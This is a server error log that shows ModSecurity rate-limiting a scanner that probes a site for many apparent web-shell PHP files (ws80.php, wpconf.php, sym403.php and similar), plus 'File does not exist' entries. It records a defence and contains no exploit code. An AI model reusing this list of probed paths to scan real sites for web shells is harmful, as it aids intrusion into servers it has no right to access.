[Sat Apr 25 22:25:07.110032 2026] [:error] [pid 59985:tid 59996] [client 20.203.160.110:30141] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "aezOwwF_zDvEhKvyTH7DAgAAAAk"]
[Sat Apr 25 22:25:10.135711 2026] [:error] [pid 59896:tid 59917] [client 20.203.160.110:51947] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "aezOxrLLzhtkd-OXUgAK1gAAAFE"]
[Sat Apr 25 22:25:12.765292 2026] [:error] [pid 3212:tid 3222] [client 20.203.160.110:38112] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/e3.php"] [unique_id "aezOyPg-28TY8_YLtUdUBwAAAQg"]
[Sat Apr 25 22:25:14.781142 2026] [:error] [pid 3212:tid 3214] [client 20.203.160.110:49136] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fkohd.php"] [unique_id "aezOyvg-28TY8_YLtUdUDQAAAQA"]
[Sat Apr 25 22:25:16.710374 2026] [:error] [pid 59897:tid 59946] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/fkohd.php
[Sat Apr 25 22:25:16.981358 2026] [:error] [pid 59897:tid 59935] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/ws78.php
[Sat Apr 25 22:25:17.252470 2026] [:error] [pid 59897:tid 59930] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Sat Apr 25 22:25:17.533043 2026] [:error] [pid 59897:tid 59951] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/zo.php
[Sat Apr 25 22:25:17.807137 2026] [:error] [pid 59897:tid 59927] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/xy.php
[Sat Apr 25 22:25:18.075135 2026] [:error] [pid 59897:tid 59934] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/masks.php
[Sat Apr 25 22:25:18.343324 2026] [:error] [pid 59897:tid 59932] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/man.php
[Sat Apr 25 22:25:18.611337 2026] [:error] [pid 59897:tid 59929] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/xfun.php
[Sat Apr 25 22:25:18.881169 2026] [:error] [pid 59897:tid 59943] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Sat Apr 25 22:25:19.149528 2026] [:error] [pid 59897:tid 59931] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/vv.php
[Sat Apr 25 22:25:19.419986 2026] [:error] [pid 59897:tid 59945] [client 20.203.160.110:21147] File does not exist: /usr/local/apache/htdocs/suspended-page/wpconf.php
[Sat Apr 25 22:25:19.684916 2026] [:error] [pid 59897:tid 59933] [client 20.203.160.110:21147] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aezOz_BrrkdzpEbmK4eSwgAAAIY"]
[Sat Apr 25 22:25:21.307425 2026] [:error] [pid 3212:tid 3229] [client 20.203.160.110:21167] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aezO0fg-28TY8_YLtUdUHwAAAQ8"]
[Sat Apr 25 22:25:23.515412 2026] [:error] [pid 59896:tid 59914] [client 20.203.160.110:7349] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aezO07LLzhtkd-OXUgAK3gAAAE4"]
[Sat Apr 25 22:25:25.148817 2026] [:error] [pid 3212:tid 3233] [client 20.203.160.110:23106] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aezO1fg-28TY8_YLtUdUJQAAARM"]
[Sat Apr 25 22:25:27.999514 2026] [:error] [pid 59896:tid 59907] [client 20.203.160.110:51207] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-zx.php"] [unique_id "aezO17LLzhtkd-OXUgAK5AAAAEc"]
[Sat Apr 25 22:25:29.868017 2026] [:error] [pid 59896:tid 59911] [client 20.203.160.110:22542] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-zx.php"] [unique_id "aezO2bLLzhtkd-OXUgALCwAAAEs"]
[Sat Apr 25 22:25:31.746434 2026] [:error] [pid 3212:tid 3228] [client 20.203.160.110:31445] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-zx.php"] [unique_id "aezO2_g-28TY8_YLtUdUOQAAAQ4"]
[Sat Apr 25 22:25:33.442244 2026] [:error] [pid 3212:tid 3235] [client 20.203.160.110:31452] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-zx.php"] [unique_id "aezO3fg-28TY8_YLtUdUPAAAARU"]
[Sat Apr 25 22:25:35.363861 2026] [:error] [pid 59897:tid 59942] [client 20.203.160.110:3832] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aezO3_BrrkdzpEbmK4eSzQAAAI8"]
[Sat Apr 25 22:25:37.746593 2026] [:error] [pid 3212:tid 3217] [client 20.203.160.110:21151] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aezO4fg-28TY8_YLtUdUQAAAAQM"]
[Sat Apr 25 22:25:39.949813 2026] [:error] [pid 59896:tid 59920] [client 20.203.160.110:51260] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aezO47LLzhtkd-OXUgALOwAAAFQ"]
[Sat Apr 25 22:25:40.866418 2026] [:error] [pid 3212:tid 3221] [client 20.203.160.110:3823] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aezO5Pg-28TY8_YLtUdURQAAAQc"]
[Sat Apr 25 22:25:42.715900 2026] [:error] [pid 59898:tid 59965] [client 20.203.160.110:9558] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "aezO5h-4vImxb0kbdze3BwAAAMs"]
[Sat Apr 25 22:25:44.268005 2026] [:error] [pid 59897:tid 59932] [client 20.203.160.110:15483] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "aezO6PBrrkdzpEbmK4eS4QAAAIU"]
[Sat Apr 25 22:25:45.211178 2026] [:error] [pid 59898:tid 59959] [client 20.203.160.110:9555] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "aezO6R-4vImxb0kbdze3CQAAAMU"]
[Sat Apr 25 22:25:46.658611 2026] [:error] [pid 59898:tid 59954] [client 20.203.160.110:46489] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mar.php"] [unique_id "aezO6h-4vImxb0kbdze3DgAAAMA"]
[Sat Apr 25 22:25:48.419280 2026] [:error] [pid 59896:tid 59905] [client 20.203.160.110:51259] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iov.php"] [unique_id "aezO7LLLzhtkd-OXUgALRQAAAEU"]
[Sat Apr 25 22:25:51.837291 2026] [:error] [pid 59985:tid 59999] [client 20.203.160.110:32815] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iov.php"] [unique_id "aezO7wF_zDvEhKvyTH7DNwAAAAw"]
[Sat Apr 25 22:25:55.521339 2026] [:error] [pid 59898:tid 59958] [client 20.203.160.110:9577] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iov.php"] [unique_id "aezO8x-4vImxb0kbdze3EgAAAMQ"]
[Sat Apr 25 22:25:58.603206 2026] [:error] [pid 59985:tid 59998] [client 20.203.160.110:46517] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iov.php"] [unique_id "aezO9gF_zDvEhKvyTH7DPgAAAAs"]
[Sat Apr 25 22:25:59.208359 2026] [:error] [pid 3212:tid 3223] [client 20.203.160.110:32776] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jodohghi.php"] [unique_id "aezO9_g-28TY8_YLtUdUUQAAAQk"]
[Sat Apr 25 22:26:03.708674 2026] [:error] [pid 3212:tid 3229] [client 20.203.160.110:8291] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jodohghi.php"] [unique_id "aezO-_g-28TY8_YLtUdUVwAAAQ8"]
[Sat Apr 25 22:26:05.455308 2026] [:error] [pid 59985:tid 59994] [client 20.203.160.110:13492] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jodohghi.php"] [unique_id "aezO_QF_zDvEhKvyTH7DPwAAAAc"]
[Sat Apr 25 22:26:07.803853 2026] [:error] [pid 59896:tid 59905] [client 20.203.160.110:9874] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jodohghi.php"] [unique_id "aezO_7LLzhtkd-OXUgALUgAAAEU"]
[Sat Apr 25 22:26:09.944081 2026] [:error] [pid 59985:tid 60006] [client 20.203.160.110:13460] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rendi59.php"] [unique_id "aezPAQF_zDvEhKvyTH7DRwAAABM"]
[Sat Apr 25 22:26:11.181640 2026] [:error] [pid 59985:tid 59990] [client 20.203.160.110:9890] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rendi59.php"] [unique_id "aezPAwF_zDvEhKvyTH7DUAAAAAM"]
[Sat Apr 25 22:26:15.095342 2026] [:error] [pid 3212:tid 3232] [client 20.203.160.110:8292] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rendi59.php"] [unique_id "aezPB_g-28TY8_YLtUdUbAAAARI"]
[Sat Apr 25 22:26:19.414548 2026] [:error] [pid 59896:tid 59916] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/rendi59.php
[Sat Apr 25 22:26:19.656554 2026] [:error] [pid 59896:tid 59900] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/rivasqup.php
[Sat Apr 25 22:26:19.901876 2026] [:error] [pid 59896:tid 59918] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/mga.php
[Sat Apr 25 22:26:20.142222 2026] [:error] [pid 59896:tid 59908] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/dshtv.php
[Sat Apr 25 22:26:20.382464 2026] [:error] [pid 59896:tid 59909] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/sym403.php
[Sat Apr 25 22:26:20.622659 2026] [:error] [pid 59896:tid 59905] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/temp1.php
[Sat Apr 25 22:26:20.870671 2026] [:error] [pid 59896:tid 59919] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sat Apr 25 22:26:21.118092 2026] [:error] [pid 59896:tid 59912] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sat Apr 25 22:26:21.358874 2026] [:error] [pid 59896:tid 59914] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Sat Apr 25 22:26:21.598916 2026] [:error] [pid 59896:tid 59922] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/bbny.php
[Sat Apr 25 22:26:21.838568 2026] [:error] [pid 59896:tid 59901] [client 20.203.160.110:38768] File does not exist: /usr/local/apache/htdocs/suspended-page/ggb.php
[Sat Apr 25 22:26:22.085514 2026] [:error] [pid 59896:tid 59907] [client 20.203.160.110:38768] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zhw.php"] [unique_id "aezPDrLLzhtkd-OXUgALbgAAAEc"]
[Sat Apr 25 22:26:26.092116 2026] [:error] [pid 59896:tid 59900] [client 20.203.160.110:13441] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zhw.php"] [unique_id "aezPErLLzhtkd-OXUgALcAAAAEA"]
[Sat Apr 25 22:26:27.588750 2026] [:error] [pid 59985:tid 59989] [client 20.203.160.110:3632] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zhw.php"] [unique_id "aezPEwF_zDvEhKvyTH7DXAAAAAI"]
[Sat Apr 25 22:26:28.707698 2026] [:error] [pid 59898:tid 59976] [client 20.203.160.110:8519] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zhw.php"] [unique_id "aezPFB-4vImxb0kbdze3MQAAANY"]
[Sat Apr 25 22:26:31.696290 2026] [:error] [pid 3212:tid 3231] [client 20.203.160.110:48505] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aezPF_g-28TY8_YLtUdUegAAARE"]
[Sat Apr 25 22:26:33.847780 2026] [:error] [pid 3212:tid 3234] [client 20.203.160.110:10421] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aezPGfg-28TY8_YLtUdUgAAAARQ"]
[Sat Apr 25 22:26:35.725864 2026] [:error] [pid 59898:tid 59961] [client 20.203.160.110:46282] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aezPGx-4vImxb0kbdze3PAAAAMc"]
[Sat Apr 25 22:26:38.391598 2026] [:error] [pid 59897:tid 59931] [client 20.203.160.110:3958] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/casp1.php"] [unique_id "aezPHvBrrkdzpEbmK4eS_gAAAIQ"]
[Sat Apr 25 22:26:41.933057 2026] [:error] [pid 3212:tid 3223] [client 20.203.160.110:9572] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "aezPIfg-28TY8_YLtUdUjAAAAQk"]
[Sat Apr 25 22:26:43.611690 2026] [:error] [pid 59896:tid 59913] [client 20.203.160.110:23784] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "aezPI7LLzhtkd-OXUgALgAAAAE0"]
[Sat Apr 25 22:26:45.921990 2026] [:error] [pid 59896:tid 59920] [client 20.203.160.110:48482] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "aezPJbLLzhtkd-OXUgALgQAAAFQ"]
[Sat Apr 25 22:26:47.557931 2026] [:error] [pid 59896:tid 59911] [client 20.203.160.110:32140] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "aezPJ7LLzhtkd-OXUgALhAAAAEs"]
[Sat Apr 25 22:26:55.118566 2026] [:error] [pid 59985:tid 59998] [client 20.203.160.110:10377] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lov.php"] [unique_id "aezPLwF_zDvEhKvyTH7DZwAAAAs"]
[Sat Apr 25 22:26:56.563338 2026] [:error] [pid 59985:tid 59987] [client 20.203.160.110:32183] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lov.php"] [unique_id "aezPMAF_zDvEhKvyTH7DaAAAAAA"]
[Sat Apr 25 22:26:59.814010 2026] [:error] [pid 59896:tid 59902] [client 20.203.160.110:3932] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lov.php"] [unique_id "aezPM7LLzhtkd-OXUgALjQAAAEI"]
[Sat Apr 25 22:27:05.781824 2026] [:error] [pid 59896:tid 59910] [client 20.203.160.110:7779] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/knw.php"] [unique_id "aezPObLLzhtkd-OXUgALlAAAAEo"]
[Sat Apr 25 22:27:11.417874 2026] [:error] [pid 59985:tid 60001] [client 20.203.160.110:15017] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/knw.php"] [unique_id "aezPPwF_zDvEhKvyTH7DbgAAAA4"]
[Sat Apr 25 22:27:13.790381 2026] [:error] [pid 59897:tid 59951] [client 20.203.160.110:7532] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/knw.php"] [unique_id "aezPQfBrrkdzpEbmK4eTBgAAAJg"]
